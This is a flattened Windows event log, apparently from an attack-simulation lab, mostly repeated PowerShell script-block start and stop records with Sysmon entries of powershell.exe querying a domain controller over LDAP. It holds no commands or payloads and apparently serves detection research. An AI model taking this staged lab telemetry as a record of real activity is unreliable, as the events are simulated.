410615103150x0670151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 354300x8000000000000000117319Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:58.090{F02F376E-A2EB-6442-8439-00000000D902}1344C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\reed_pottstcptruefalse10.0.1.15ar-win-2.attackrange.local50568-false10.0.1.14-389ldap 354300x8000000000000000117318Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:57.643{F02F376E-A2EB-6442-8439-00000000D902}1344C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\reed_pottstcptruefalse10.0.1.15ar-win-2.attackrange.local50567-false10.0.1.14-389ldap 22542200x8000000000000000117317Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:57.647{F02F376E-A2EB-6442-8439-00000000D902}1344ar-win-dc.attackrange.local0::ffff:10.0.1.14;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\reed_potts 410615103150x0670004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 